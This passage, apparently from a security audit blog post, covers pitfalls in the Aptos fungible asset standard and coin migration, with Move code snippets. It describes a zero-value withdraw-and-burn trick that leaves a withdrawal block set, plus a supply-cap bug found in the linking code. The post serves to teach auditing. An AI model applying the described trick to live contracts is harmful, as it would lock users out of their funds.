dren":104433},{"style":7048},[104434],{"type":32,"value":9754},{"type":26,"tag":217,"props":104436,"children":104437},{"class":7028,"line":7406},[104438],{"type":26,"tag":217,"props":104439,"children":104440},{"emptyLinePlaceholder":17},[104441],{"type":32,"value":7817},{"type":26,"tag":217,"props":104443,"children":104444},{"class":7028,"line":7439},[104445,104449,104453,104458,104462,104466,104470,104474,104478,104482,104486,104490,104494,104498,104502,104506,104510,104514,104518,104522,104526,104530,104534,104538,104542,104546,104551,104555,104559],{"type":26,"tag":217,"props":104446,"children":104447},{"style":7054},[104448],{"type":32,"value":52893},{"type":26,"tag":217,"props":104450,"children":104451},{"style":7054},[104452],{"type":32,"value":64784},{"type":26,"tag":217,"props":104454,"children":104455},{"style":7054},[104456],{"type":32,"value":104457}," withdraw",{"type":26,"tag":217,"props":104459,"children":104460},{"style":7048},[104461],{"type":32,"value":7289},{"type":26,"tag":217,"props":104463,"children":104464},{"style":7119},[104465],{"type":32,"value":178},{"type":26,"tag":217,"props":104467,"children":104468},{"style":7149},[104469],{"type":32,"value":1473},{"type":26,"tag":217,"props":104471,"children":104472},{"style":7054},[104473],{"type":32,"value":78245},{"type":26,"tag":217,"props":104475,"children":104476},{"style":7048},[104477],{"type":32,"value":100384},{"type":26,"tag":217,"props":104479,"children":104480},{"style":7054},[104481],{"type":32,"value":78989},{"type":26,"tag":217,"props":104483,"children":104484},{"style":7149},[104485],{"type":32,"value":1473},{"type":26,"tag":217,"props":104487,"children":104488},{"style":7119},[104489],{"type":32,"value":99514},{"type":26,"tag":217,"props":104491,"children":104492},{"style":7048},[104493],{"type":32,"value":7289},{"type":26,"tag":217,"props":104495,"children":104496},{"style":7119},[104497],{"type":32,"value":178},{"type":26,"tag":217,"props":104499,"children":104500},{"style":7048},[104501],{"type":32,"value":56967},{"type":26,"tag":217,"props":104503,"children":104504},{"style":7054},[104505],{"type":32,"value":99767},{"type":26,"tag":217,"props":104507,"children":104508},{"style":7149},[104509],{"type":32,"value":1473},{"type":26,"tag":217,"props":104511,"children":104512},{"style":7119},[104513],{"type":32,"value":91146},{"type":26,"tag":217,"props":104515,"children":104516},{"style":7048},[104517],{"type":32,"value":7599},{"type":26,"tag":217,"props":104519,"children":104520},{"style":7054},[104521],{"type":32,"value":103943},{"type":26,"tag":217,"props":104523,"children":104524},{"style":7149},[104525],{"type":32,"value":1473},{"type":26,"tag":217,"props":104527,"children":104528},{"style":7149},[104529],{"type":32,"value":10222},{"type":26,"tag":217,"props":104531,"children":104532},{"style":7119},[104533],{"type":32,"value":103389},{"type":26,"tag":217,"props":104535,"children":104536},{"style":7048},[104537],{"type":32,"value":1889},{"type":26,"tag":217,"props":104539,"children":104540},{"style":7149},[104541],{"type":32,"value":1473},{"type":26,"tag":217,"props":104543,"children":104544},{"style":7119},[104545],{"type":32,"value":99493},{"type":26,"tag":217,"props":104547,"children":104548},{"style":7054},[104549],{"type":32,"value":104550}," acquires",{"type":26,"tag":217,"props":104552,"children":104553},{"style":7048},[104554],{"type":32,"value":95870},{"type":26,"tag":217,"props":104556,"children":104557},{"style":7149},[104558],{"type":32,"value":13251},{"type":26,"tag":217,"props":104560,"children":104561},{"style":7048},[104562],{"type":32,"value":99718},{"type":26,"tag":217,"props":104564,"children":104565},{"class":7028,"line":7487},[104566,104570,104574,104578],{"type":26,"tag":217,"props":104567,"children":104568},{"style":7064},[104569],{"type":32,"value":104322},{"type":26,"tag":217,"props":104571,"children":104572},{"style":7048},[104573],{"type":32,"value":1851},{"type":26,"tag":217,"props":104575,"children":104576},{"style":7154},[104577],{"type":32,"value":60208},{"type":26,"tag":217,"props":104579,"children":104580},{"style":7048},[104581],{"type":32,"value":7669},{"type":26,"tag":217,"props":104583,"children":104584},{"class":7028,"line":7524},[104585,104589,104593],{"type":26,"tag":217,"props":104586,"children":104587},{"style":7048},[104588],{"type":32,"value":100675},{"type":26,"tag":217,"props":104590,"children":104591},{"style":7149},[104592],{"type":32,"value":13251},{"type":26,"tag":217,"props":104594,"children":104595},{"style":7048},[104596],{"type":32,"value":13256},{"type":26,"tag":217,"props":104598,"children":104599},{"class":7028,"line":7553},[104600,104604,104608,104612],{"type":26,"tag":217,"props":104601,"children":104602},{"style":7064},[104603],{"type":32,"value":104357},{"type":26,"tag":217,"props":104605,"children":104606},{"style":7048},[104607],{"type":32,"value":1851},{"type":26,"tag":217,"props":104609,"children":104610},{"style":7154},[104611],{"type":32,"value":231},{"type":26,"tag":217,"props":104613,"children":104614},{"style":7048},[104615],{"type":32,"value":7669},{"type":26,"tag":217,"props":104617,"children":104618},{"class":7028,"line":7570},[104619,104623,104627,104631,104635,104639,104643,104647,104651,104655],{"type":26,"tag":217,"props":104620,"children":104621},{"style":7048},[104622],{"type":32,"value":103925},{"type":26,"tag":217,"props":104624,"children":104625},{"style":7149},[104626],{"type":32,"value":56166},{"type":26,"tag":217,"props":104628,"children":104629},{"style":7064},[104630],{"type":32,"value":103934},{"type":26,"tag":217,"props":104632,"children":104633},{"style":7048},[104634],{"type":32,"value":1851},{"type":26,"tag":217,"props":104636,"children":104637},{"style":7054},[104638],{"type":32,"value":103943},{"type":26,"tag":217,"props":104640,"children":104641},{"style":7048},[104642],{"type":32,"value":7599},{"type":26,"tag":217,"props":104644,"children":104645},{"style":7054},[104646],{"type":32,"value":78989},{"type":26,"tag":217,"props":104648,"children":104649},{"style":7048},[104650],{"type":32,"value":7599},{"type":26,"tag":217,"props":104652,"children":104653},{"style":7054},[104654],{"type":32,"value":99767},{"type":26,"tag":217,"props":104656,"children":104657},{"style":7048},[104658],{"type":32,"value":10025},{"type":26,"tag":217,"props":104660,"children":104661},{"class":7028,"line":7621},[104662],{"type":26,"tag":217,"props":104663,"children":104664},{"style":7048},[104665],{"type":32,"value":7184},{"type":26,"tag":39,"props":104667,"children":104668},{},[104669],{"type":32,"value":104670},"At first glance, this code appears valid, but not to an astute reader.",{"type":26,"tag":104150,"props":104672,"children":104673},{},[104674,104679],{"type":26,"tag":39,"props":104675,"children":104676},{},[104677],{"type":32,"value":104678},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":26,"tag":74658,"props":104680,"children":104681},{"v-slot:answer-0":8},[104682,104702],{"type":26,"tag":39,"props":104683,"children":104684},{},[104685,104687,104692,104694,104700],{"type":32,"value":104686},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":26,"tag":83,"props":104688,"children":104690},{"className":104689},[],[104691],{"type":32,"value":99464},{"type":32,"value":104693}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":26,"tag":83,"props":104695,"children":104697},{"className":104696},[],[104698],{"type":32,"value":104699},"fungible_asset::destroy_zero",{"type":32,"value":104701},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":26,"tag":39,"props":104703,"children":104704},{},[104705],{"type":32,"value":104706},"It's important to understand all the features in the standard.",{"type":26,"tag":27,"props":104708,"children":104710},{"id":104709},"migrating-from-coins-to-fungible-assets",[104711],{"type":32,"value":104712},"Migrating from coins to fungible assets",{"type":26,"tag":39,"props":104714,"children":104715},{},[104716,104718,104723],{"type":32,"value":104717},"If a fungible asset is considered an upgrade to ",{"type":26,"tag":83,"props":104719,"children":104721},{"className":104720},[],[104722],{"type":32,"value":98914},{"type":32,"value":104724},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":26,"tag":59870,"props":104726,"children":104727},{},[104728],{"type":26,"tag":39,"props":104729,"children":104730},{},[104731,104733,104738,104740,104745],{"type":32,"value":104732},"While the ",{"type":26,"tag":83,"props":104734,"children":104736},{"className":104735},[],[104737],{"type":32,"value":98914},{"type":32,"value":104739}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":26,"tag":83,"props":104741,"children":104743},{"className":104742},[],[104744],{"type":32,"value":98914},{"type":32,"value":180},{"type":26,"tag":39,"props":104747,"children":104748},{},[104749,104750,104756,104758,104763,104765,104770],{"type":32,"value":475},{"type":26,"tag":83,"props":104751,"children":104753},{"className":104752},[],[104754],{"type":32,"value":104755},"coin_to_fungible_asset",{"type":32,"value":104757}," converting function automatically generates a corresponding fungible asset for a ",{"type":26,"tag":83,"props":104759,"children":104761},{"className":104760},[],[104762],{"type":32,"value":98914},{"type":32,"value":104764}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":26,"tag":83,"props":104766,"children":104768},{"className":104767},[],[104769],{"type":32,"value":98914},{"type":32,"value":104771}," is not allowed.",{"type":26,"tag":207,"props":104773,"children":104775},{"className":56140,"code":104774,"language":56139,"meta":8,"style":8},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[104776],{"type":26,"tag":83,"props":104777,"children":104778},{"__ignoreMap":8},[104779,104807,104834,104871,104905,104938,104974],{"type":26,"tag":217,"props":104780,"children":104781},{"class":7028,"line":7029},[104782,104786,104790,104795,104799,104803],{"type":26,"tag":217,"props":104783,"children":104784},{"style":7054},[104785],{"type":32,"value":52893},{"type":26,"tag":217,"props":104787,"children":104788},{"style":7054},[104789],{"type":32,"value":64784},{"type":26,"tag":217,"props":104791,"children":104792},{"style":7054},[104793],{"type":32,"value":104794}," coin_to_fungible_asset",{"type":26,"tag":217,"props":104796,"children":104797},{"style":7048},[104798],{"type":32,"value":7289},{"type":26,"tag":217,"props":104800,"children":104801},{"style":7119},[104802],{"type":32,"value":99019},{"type":26,"tag":217,"props":104804,"children":104805},{"style":7048},[104806],{"type":32,"value":56861},{"type":26,"tag":217,"props":104808,"children":104809},{"class":7028,"line":6770},[104810,104814,104818,104822,104826,104830],{"type":26,"tag":217,"props":104811,"children":104812},{"style":7054},[104813],{"type":32,"value":99138},{"type":26,"tag":217,"props":104815,"children":104816},{"style":7149},[104817],{"type":32,"value":1473},{"type":26,"tag":217,"props":104819,"children":104820},{"style":7119},[104821],{"type":32,"value":98950},{"type":26,"tag":217,"props":104823,"children":104824},{"style":7048},[104825],{"type":32,"value":7289},{"type":26,"tag":217,"props":104827,"children":104828},{"style":7119},[104829],{"type":32,"value":99019},{"type":26,"tag":217,"props":104831,"children":104832},{"style":7048},[104833],{"type":32,"value":7281},{"type":26,"tag":217,"props":104835,"children":104836},{"class":7028,"line":6779},[104837,104841,104845,104849,104853,104858,104862,104867],{"type":26,"tag":217,"props":104838,"children":104839},{"style":7048},[104840],{"type":32,"value":1889},{"type":26,"tag":217,"props":104842,"children":104843},{"style":7149},[104844],{"type":32,"value":1473},{"type":26,"tag":217,"props":104846,"children":104847},{"style":7119},[104848],{"type":32,"value":99493},{"type":26,"tag":217,"props":104850,"children":104851},{"style":7054},[104852],{"type":32,"value":104550},{"type":26,"tag":217,"props":104854,"children":104855},{"style":7119},[104856],{"type":32,"value":104857}," CoinConversionMap",{"type":26,"tag":217,"props":104859,"children":104860},{"style":7048},[104861],{"type":32,"value":7599},{"type":26,"tag":217,"props":104863,"children":104864},{"style":7119},[104865],{"type":32,"value":104866},"CoinInfo",{"type":26,"tag":217,"props":104868,"children":104869},{"style":7048},[104870],{"type":32,"value":8064},{"type":26,"tag":217,"props":104872,"children":104873},{"class":7028,"line":7140},[104874,104878,104883,104887,104892,104896,104900],{"type":26,"tag":217,"props":104875,"children":104876},{"style":7154},[104877],{"type":32,"value":77780},{"type":26,"tag":217,"props":104879,"children":104880},{"style":7054},[104881],{"type":32,"value":104882}," metadata",{"type":26,"tag":217,"props":104884,"children":104885},{"style":7149},[104886],{"type":32,"value":8993},{"type":26,"tag":217,"props":104888,"children":104889},{"style":7054},[104890],{"type":32,"value":104891}," ensure_paired_metadata",{"type":26,"tag":217,"props":104893,"children":104894},{"style":7048},[104895],{"type":32,"value":7289},{"type":26,"tag":217,"props":104897,"children":104898},{"style":7119},[104899],{"type":32,"value":99019},{"type":26,"tag":217,"props":104901,"children":104902},{"style":7048},[104903],{"type":32,"value":104904},">();\n",{"type":26,"tag":217,"props":104906,"children":104907},{"class":7028,"line":7165},[104908,104912,104917,104921,104926,104930,104934],{"type":26,"tag":217,"props":104909,"children":104910},{"style":7154},[104911],{"type":32,"value":77780},{"type":26,"tag":217,"props":104913,"children":104914},{"style":7054},[104915],{"type":32,"value":104916}," amount",{"type":26,"tag":217,"props":104918,"children":104919},{"style":7149},[104920],{"type":32,"value":8993},{"type":26,"tag":217,"props":104922,"children":104923},{"style":7064},[104924],{"type":32,"value":104925}," burn_internal",{"type":26,"tag":217,"props":104927,"children":104928},{"style":7048},[104929],{"type":32,"value":1851},{"type":26,"tag":217,"props":104931,"children":104932},{"style":7054},[104933],{"type":32,"value":98881},{"type":26,"tag":217,"props":104935,"children":104936},{"style":7048},[104937],{"type":32,"value":7669},{"type":26,"tag":217,"props":104939,"children":104940},{"class":7028,"line":7178},[104941,104945,104949,104954,104958,104962,104966,104970],{"type":26,"tag":217,"props":104942,"children":104943},{"style":7048},[104944],{"type":32,"value":103925},{"type":26,"tag":217,"props":104946,"children":104947},{"style":7149},[104948],{"type":32,"value":56166},{"type":26,"tag":217,"props":104950,"children":104951},{"style":7064},[104952],{"type":32,"value":104953},"mint_internal",{"type":26,"tag":217,"props":104955,"children":104956},{"style":7048},[104957],{"type":32,"value":1851},{"type":26,"tag":217,"props":104959,"children":104960},{"style":7054},[104961],{"type":32,"value":100265},{"type":26,"tag":217,"props":104963,"children":104964},{"style":7048},[104965],{"type":32,"value":7599},{"type":26,"tag":217,"props":104967,"children":104968},{"style":7054},[104969],{"type":32,"value":99767},{"type":26,"tag":217,"props":104971,"children":104972},{"style":7048},[104973],{"type":32,"value":10025},{"type":26,"tag":217,"props":104975,"children":104976},{"class":7028,"line":7389},[104977],{"type":26,"tag":217,"props":104978,"children":104979},{"style":7048},[104980],{"type":32,"value":7184},{"type":26,"tag":39,"props":104982,"children":104983},{},[104984,104986,104993],{"type":32,"value":104985},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":26,"tag":163,"props":104987,"children":104990},{"href":104988,"rel":104989},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[167],[104991],{"type":32,"value":104992},"noticed an overlooked detail",{"type":32,"value":104994}," in the linking process.",{"type":26,"tag":207,"props":104996,"children":104998},{"className":56140,"code":104997,"language":56139,"meta":8,"style":8},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[104999],{"type":26,"tag":83,"props":105000,"children":105001},{"__ignoreMap":8},[105002,105017,105037,105054,105109,105130,105150,105170,105200,105227,105234],{"type":26,"tag":217,"props":105003,"children":105004},{"class":7028,"line":7029},[105005,105009,105013],{"type":26,"tag":217,"props":105006,"children":105007},{"style":7048},[105008],{"type":32,"value":7127},{"type":26,"tag":217,"props":105010,"children":105011},{"style":7149},[105012],{"type":32,"value":13251},{"type":26,"tag":217,"props":105014,"children":105015},{"style":7048},[105016],{"type":32,"value":13256},{"type":26,"tag":217,"props":105018,"children":105019},{"class":7028,"line":6770},[105020,105024,105028,105033],{"type":26,"tag":217,"props":105021,"children":105022},{"style":7048},[105023],{"type":32,"value":100566},{"type":26,"tag":217,"props":105025,"children":105026},{"style":7149},[105027],{"type":32,"value":56166},{"type":26,"tag":217,"props":105029,"children":105030},{"style":7064},[105031],{"type":32,"value":105032},"create_primary_store_enabled_fungible_asset",{"type":26,"tag":217,"props":105034,"children":105035},{"style":7048},[105036],{"type":32,"value":10932},{"type":26,"tag":217,"props":105038,"children":105039},{"class":7028,"line":6779},[105040,105045,105050],{"type":26,"tag":217,"props":105041,"children":105042},{"style":7149},[105043],{"type":32,"value":105044},"    &",{"type":26,"tag":217,"props":105046,"children":105047},{"style":7054},[105048],{"type":32,"value":105049},"metadata_object_cref",{"type":26,"tag":217,"props":105051,"children":105052},{"style":7048},[105053],{"type":32,"value":10953},{"type":26,"tag":217,"props":105055,"children":105056},{"class":7028,"line":7140},[105057,105062,105066,105070,105074,105079,105083,105087,105092,105096,105100,105104],{"type":26,"tag":217,"props":105058,"children":105059},{"style":7048},[105060],{"type":32,"value":105061},"    option",{"type":26,"tag":217,"props":105063,"children":105064},{"style":7149},[105065],{"type":32,"value":56166},{"type":26,"tag":217,"props":105067,"children":105068},{"style":7064},[105069],{"type":32,"value":78426},{"type":26,"tag":217,"props":105071,"children":105072},{"style":7048},[105073],{"type":32,"value":1851},{"type":26,"tag":217,"props":105075,"children":105076},{"style":7054},[105077],{"type":32,"value":105078},"coin_supply",{"type":26,"tag":217,"props":105080,"children":105081},{"style":7048},[105082],{"type":32,"value":7289},{"type":26,"tag":217,"props":105084,"children":105085},{"style":7119},[105086],{"type":32,"value":99019},{"type":26,"tag":217,"props":105088,"children":105089},{"style":7048},[105090],{"type":32,"value":105091},">(), ",{"type":26,"tag":217,"props":105093,"children":105094},{"style":7149},[105095],{"type":32,"value":94074},{"type":26,"tag":217,"props":105097,"children":105098},{"style":7054},[105099],{"type":32,"value":49012},{"type":26,"tag":217,"props":105101,"children":105102},{"style":7149},[105103],{"type":32,"value":94074},{"type":26,"tag":217,"props":105105,"children":105106},{"style":7048},[105107],{"type":32,"value":105108}," MAX_U128),\n",{"type":26,"tag":217,"props":105110,"children":105111},{"class":7028,"line":7165},[105112,105117,105121,105125],{"type":26,"tag":217,"props":105113,"children":105114},{"style":7054},[105115],{"type":32,"value":105116},"    name",{"type":26,"tag":217,"props":105118,"children":105119},{"style":7048},[105120],{"type":32,"value":7289},{"type":26,"tag":217,"props":105122,"children":105123},{"style":7119},[105124],{"type":32,"value":99019},{"type":26,"tag":217,"props":105126,"children":105127},{"style":7048},[105128],{"type":32,"value":105129},">(),\n",{"type":26,"tag":217,"props":105131,"children":105132},{"class":7028,"line":7178},[105133,105138,105142,105146],{"type":26,"tag":217,"props":105134,"children":105135},{"style":7054},[105136],{"type":32,"value":105137},"    symbol",{"type":26,"tag":217,"props":105139,"children":105140},{"style":7048},[105141],{"type":32,"value":7289},{"type":26,"tag":217,"props":105143,"children":105144},{"style":7119},[105145],{"type":32,"value":99019},{"type":26,"tag":217,"props":105147,"children":105148},{"style":7048},[105149],{"type":32,"value":105129},{"type":26,"tag":217,"props":105151,"children":105152},{"class":7028,"line":7389},[105153,105158,105162,105166],{"type":26,"tag":217,"props":105154,"children":105155},{"style":7054},[105156],{"type":32,"value":105157},"    decimals",{"type":26,"tag":217,"props":105159,"children":105160},{"style":7048},[105161],{"type":32,"value":7289},{"type":26,"tag":217,"props":105163,"children":105164},{"style":7119},[105165],{"type":32,"value":99019},{"type":26,"tag":217,"props":105167,"children":105168},{"style":7048},[105169],{"type":32,"value":105129},{"type":26,"tag":217,"props":105171,"children":105172},{"class":7028,"line":7406},[105173,105178,105182,105187,105191,105196],{"type":26,"tag":217,"props":105174,"children":105175},{"style":7048},[105176],{"type":32,"value":105177},"    string",{"type":26,"tag":217,"props":105179,"children":105180},{"style":7149},[105181],{"type":32,"value":56166},{"type":26,"tag":217,"props":105183,"children":105184},{"style":7064},[105185],{"type":32,"value":105186},"utf8",{"type":26,"tag":217,"props":105188,"children":105189},{"style":7048},[105190],{"type":32,"value":1851},{"type":26,"tag":217,"props":105192,"children":105193},{"style":7338},[105194],{"type":32,"value":105195},"b\"\"",{"type":26,"tag":217,"props":105197,"children":105198},{"style":7048},[105199],{"type":32,"value":13841},{"type":26,"tag":217,"props":105201,"children":105202},{"class":7028,"line":7439},[105203,105207,105211,105215,105219,105223],{"type":26,"tag":217,"props":105204,"children":105205},{"style":7048},[105206],{"type":32,"value":105177},{"type":26,"tag":217,"props":105208,"children":105209},{"style":7149},[105210],{"type":32,"value":56166},{"type":26,"tag":217,"props":105212,"children":105213},{"style":7064},[105214],{"type":32,"value":105186},{"type":26,"tag":217,"props":105216,"children":105217},{"style":7048},[105218],{"type":32,"value":1851},{"type":26,"tag":217,"props":105220,"children":105221},{"style":7338},[105222],{"type":32,"value":105195},{"type":26,"tag":217,"props":105224,"children":105225},{"style":7048},[105226],{"type":32,"value":13841},{"type":26,"tag":217,"props":105228,"children":105229},{"class":7028,"line":7487},[105230],{"type":26,"tag":217,"props":105231,"children":105232},{"style":7048},[105233],{"type":32,"value":7669},{"type":26,"tag":217,"props":105235,"children":105236},{"class":7028,"line":7524},[105237,105241,105245],{"type":26,"tag":217,"props":105238,"children":105239},{"style":7048},[105240],{"type":32,"value":7127},{"type":26,"tag":217,"props":105242,"children":105243},{"style":7149},[105244],{"type":32,"value":13251},{"type":26,"tag":217,"props":105246,"children":105247},{"style":7048},[105248],{"type":32,"value":13256},{"type":26,"tag":39,"props":105250,"children":105251},{},[105252,105254,105259],{"type":32,"value":105253},"When the linked fungible asset was created, the current ",{"type":26,"tag":83,"props":105255,"children":105257},{"className":105256},[],[105258],{"type":32,"value":98914},{"type":32,"value":105260}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":26,"tag":39,"props":105262,"children":105263},{},[105264,105266,105271,105273,105279,105281,105286],{"type":32,"value":105265},"Users can manually migrate their ",{"type":26,"tag":83,"props":105267,"children":105269},{"className":105268},[],[105270],{"type":32,"value":99081},{"type":32,"value":105272}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":26,"tag":83,"props":105274,"children":105276},{"className":105275},[],[105277],{"type":32,"value":105278},"\u003CCoinStore\u003CCoinType>>",{"type":32,"value":105280}," from the caller. All coins in the ",{"type":26,"tag":83,"props":105282,"children":105284},{"className":105283},[],[105285],{"type":32,"value":99081},{"type":32,"value":105287}," are exchanged and transferred to the new store during the migration.",{"type":26,"tag":207,"props":105289,"children":105291},{"className":56140,"code":105290,"language":56139,"meta":8,"style":8},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[105292],{"type":26,"tag":83,"props":105293,"children":105294},{"__ignoreMap":8},[105295,105303,105335,105355,105391,105432],{"type":26,"tag":217,"props":105296,"children":105297},{"class":7028,"line":7029},[105298],{"type":26,"tag":217,"props":105299,"children":105300},{"style":7033},[105301],{"type":32,"value":105302},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":26,"tag":217,"props":105304,"children":105305},{"class":7028,"line":6770},[105306,105310,105314,105318,105323,105327,105331],{"type":26,"tag":217,"props":105307,"children":105308},{"style":7054},[105309],{"type":32,"value":52893},{"type":26,"tag":217,"props":105311,"children":105312},{"style":7054},[105313],{"type":32,"value":89881},{"type":26,"tag":217,"props":105315,"children":105316},{"style":7054},[105317],{"type":32,"value":64784},{"type":26,"tag":217,"props":105319,"children":105320},{"style":7054},[105321],{"type":32,"value":105322}," migrate_to_fungible_store",{"type":26,"tag":217,"props":105324,"children":105325},{"style":7048},[105326],{"type":32,"value":7289},{"type":26,"tag":217,"props":105328,"children":105329},{"style":7119},[105330],{"type":32,"value":99019},{"type":26,"tag":217,"props":105332,"children":105333},{"style":7048},[105334],{"type":32,"value":56861},{"type":26,"tag":217,"props":105336,"children":105337},{"class":7028,"line":6779},[105338,105342,105346,105350],{"type":26,"tag":217,"props":105339,"children":105340},{"style":7054},[105341],{"type":32,"value":93601},{"type":26,"tag":217,"props":105343,"children":105344},{"style":7149},[105345],{"type":32,"value":1473},{"type":26,"tag":217,"props":105347,"children":105348},{"style":7149},[105349],{"type":32,"value":10222},{"type":26,"tag":217,"props":105351,"children":105352},{"style":7054},[105353],{"type":32,"value":105354},"signer\n",{"type":26,"tag":217,"props":105356,"children":105357},{"class":7028,"line":7140},[105358,105362,105366,105370,105374,105379,105383,105387],{"type":26,"tag":217,"props":105359,"children":105360},{"style":7048},[105361],{"type":32,"value":8380},{"type":26,"tag":217,"props":105363,"children":105364},{"style":7054},[105365],{"type":32,"value":99705},{"type":26,"tag":217,"props":105367,"children":105368},{"style":7119},[105369],{"type":32,"value":99102},{"type":26,"tag":217,"props":105371,"children":105372},{"style":7048},[105373],{"type":32,"value":7599},{"type":26,"tag":217,"props":105375,"children":105376},{"style":7119},[105377],{"type":32,"value":105378},"CoinConversionMap",{"type":26,"tag":217,"props":105380,"children":105381},{"style":7048},[105382],{"type":32,"value":7599},{"type":26,"tag":217,"props":105384,"children":105385},{"style":7119},[105386],{"type":32,"value":104866},{"type":26,"tag":217,"props":105388,"children":105389},{"style":7048},[105390],{"type":32,"value":8064},{"type":26,"tag":217,"props":105392,"children":105393},{"class":7028,"line":7165},[105394,105399,105403,105407,105412,105416,105420,105424,105428],{"type":26,"tag":217,"props":105395,"children":105396},{"style":7054},[105397],{"type":32,"value":105398},"    maybe_convert_to_fungible_store",{"type":26,"tag":217,"props":105400,"children":105401},{"style":7048},[105402],{"type":32,"value":7289},{"type":26,"tag":217,"props":105404,"children":105405},{"style":7119},[105406],{"type":32,"value":99019},{"type":26,"tag":217,"props":105408,"children":105409},{"style":7048},[105410],{"type":32,"value":105411},">(signer",{"type":26,"tag":217,"props":105413,"children":105414},{"style":7149},[105415],{"type":32,"value":56166},{"type":26,"tag":217,"props":105417,"children":105418},{"style":7064},[105419],{"type":32,"value":100718},{"type":26,"tag":217,"props":105421,"children":105422},{"style":7048},[105423],{"type":32,"value":1851},{"type":26,"tag":217,"props":105425,"children":105426},{"style":7054},[105427],{"type":32,"value":92995},{"type":26,"tag":217,"props":105429,"children":105430},{"style":7048},[105431],{"type":32,"value":8697},{"type":26,"tag":217,"props":105433,"children":105434},{"class":7028,"line":7178},[105435],{"type":26,"tag":217,"props":105436,"children":105437},{"style":7048},[105438],{"type":32,"value":7184},{"type":26,"tag":39,"props":105440,"children":105441},{},[105442,105444,105449,105451,105456],{"type":32,"value":105443},"A curious reader might wonder about the fate of the ",{"type":26,"tag":83,"props":105445,"children":105447},{"className":105446},[],[105448],{"type":32,"value":99081},{"type":32,"value":105450}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":26,"tag":83,"props":105452,"children":105454},{"className":105453},[],[105455],{"type":32,"value":99081},{"type":32,"value":105457}," to ensure consistency.",{"type":26,"tag":104150,"props":105459,"children":105460},{},[105461,105480],{"type":26,"tag":39,"props":105462,"children":105463},{},[105464,105466,105471,105473,105478],{"type":32,"value":105465},"Could an attacker convert their ",{"type":26,"tag":83,"props":105467,"children":105469},{"className":105468},[],[105470],{"type":32,"value":99081},{"type":32,"value":105472}," to a primary fungible store and then register another ",{"type":26,"tag":83,"props":105474,"children":105476},{"className":105475},[],[105477],{"type":32,"value":99081},{"type":32,"value":105479}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":26,"tag":74658,"props":105481,"children":105482},{"v-slot:answer-0":8},[105483],{"type":26,"tag":39,"props":105484,"children":105485},{},[105486],{"type":32,"value":105487},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":26,"tag":27,"props":105489,"children":105490},{"id":9272},[105491],{"type":32,"value":9275},{"type":26,"tag":39,"props":105493,"children":105494},{},[105495,105497,105502],{"type":32,"value":105496},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":26,"tag":83,"props":105498,"children":105500},{"className":105499},[],[105501],{"type":32,"value":98914},{"type":32,"value":180},{"type":26,"tag":39,"props":105504,"children":105505},{},[105506],{"type":32,"value":105507},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":26,"tag":39,"props":105509,"children":105510},{},[105511,105513],{"type":32,"value":105512},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":26,"tag":98386,"props":105514,"children":105515},{},[105516],{"type":26,"tag":163,"props":105517,"children":105519},{"href":98391,"ariaDescribedBy":105518,"dataFootnoteRef":8,"id":98394},[98393],[105520],{"type":32,"value":185},{"type":26,"tag":98804,"props":105522,"children":105524},{"className":105523,"dataFootnotes":8},[98807],[105525,105530],{"type":26,"tag":27,"props":105526,"children":105528},{"className":105527,"id":98393},[98812],[105529],{"type":32,"value":98815},{"type":26,"tag":6712,"props":105531,"children":105532},{},[105533],{"type":26,"tag":2044,"props":105534,"children":105535},{"id":98821},[105536,105538,105580],{"type":32,"value":105537},"There are at least four functions that can withdraw a fungible asset:",{"type":26,"tag":2040,"props":105539,"children":105540},{},[105541,105551,105560,105570],{"type":26,"tag":2044,"props":105542,"children":105543},{},[105544],{"type":26,"tag":163,"props":105545,"children":105549},{"href":105546,"rel":105547,":style":105548},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[167],"color: 